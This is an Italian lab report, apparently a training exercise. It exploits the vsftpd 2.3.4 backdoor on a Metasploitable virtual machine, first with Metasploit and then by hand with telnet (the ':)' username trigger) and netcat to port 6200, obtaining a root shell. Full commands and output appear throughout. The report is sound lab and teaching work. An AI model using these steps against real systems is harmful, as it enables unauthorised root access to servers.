Hacking con Metasploit

In questo report si andrà ad effettuare una sessione di hacking sulla macchina Metasploitable, sul servizio «*vsftpd*».

Il primo step è andare a verificare lo stato della porta 21, la default per il servizio ftp. Si ha utilizzato nmap per ottenere tale informazione.

```
┌──(root㉿kali)-[/home/kali]
└─# nmap -sV 192.168.51.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-15 15:00 -0500
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 4.55% done; ETC: 15:00 (0:00:00 remaining)
Nmap scan report for 192.168.51.101
Host is up (0.020s latency).
Not shown: 978 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
```

Dopodiché con il comando *msfconsole* si entrerà nel terminale di Metasploit

```
┌──(root㉿kali)-[/home/kali]
└─# msfconsole
Metasploit tip: Use post/multi/manage/autoroute to automatically add
pivot routes
```

Qui cerco il modulo corretto per il servizio che si vuole hackerare → *search vsftpd*

```
msf > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
```

Il modulo di interesse è il numero 1, quindi si selezionerà → *use 1*

Scelto il modulo da terminale viene segnalata la mancanza di configurazione del payload, il quale di default verrà selezionato essendo l'unico disponibile in questa casistica.

Per vedere le configurazioni necessarie al payload → *show optionS*

```
msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Le opzioni risultano essere le seguenti:

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format
   RHOSTS                    yes       The target host(s), see
   RPORT    21               yes       The target port (TCP)
```

Sarà necessario impostare obbligatoriamente quelle Required, ovvero RHOSTS e RPORT, quest'ultima è già impostata a 21 dato che è la porta del servizio scelto con il modulo.

Per impostare RHOSTS, l'IP del target, si utilizza nuovamente la sintassi di Metasploit:

set RHOSTS 192.168.51.101

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.51.101
RHOSTS ⇒ 192.168.51.101
```

L'attacco si potrà lanciare con il comando *exploit* il quale aprirà la shell ftp

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.51.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.51.101:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payload /cmd/unix/interact
payload ⇒ cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.51.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.51.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:36961 → 192.168.51.101:6200) at 2026-01-15 15:12:09 -0500
```

Qui si andranno ad eseguire un po' di comandi per testare il funzionamento, compresa la creazione di una nuova directory *test_metasploit*

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:ab:b3:34
          inet addr:192.168.51.101  Bcast:192.168.51.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feab:b334/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3745 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2905 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:297176 (290.2 KB)  TX bytes:246665 (240.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:798 errors:0 dropped:0 overruns:0 frame:0
          TX packets:798 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:364229 (355.6 KB)  TX bytes:364229 (355.6 KB)

whoami
root
cd /
mkdir test_metasploit
pwd
/
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
```

Hacking manuale con Telnet e Netcat

Dopo aver analizzato il codice dell'exploit di Metasploit si hanno individuato i requisiti per sfruttare la Backdoor nota sulla versione 2.3.4 di vsFTPd.

```
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
```

```
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
```

```
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
```

L'attaccante per entrare nella shell dovrebbe autenticarsi su porta 21 con user random + :) e con password random. Inoltre serve aprire una connessione sulla porta 6200 del target.

```
┌──(root㉿kali)-[/home/kali]
└─# telnet 192.168.51.101 21
Trying 192.168.51.101 ...
Connected to 192.168.51.101.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER criscu:)
331 Please specify the password.
PASS robaacaso
```

Come si può vedere dalle immagini la connessione è avvenuta e con *netcat* si ha potuto aprire la *shell* per lanciare comandi remoti come *root*.

Si ha verificato la presenza della cartella *test_metasploit* creata precedentemente con l'utilizzo di Metasploit.

```
┌──(root㉿kali)-[/home/kali]
└─# nc 192.168.51.101 6200
whoami
root
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```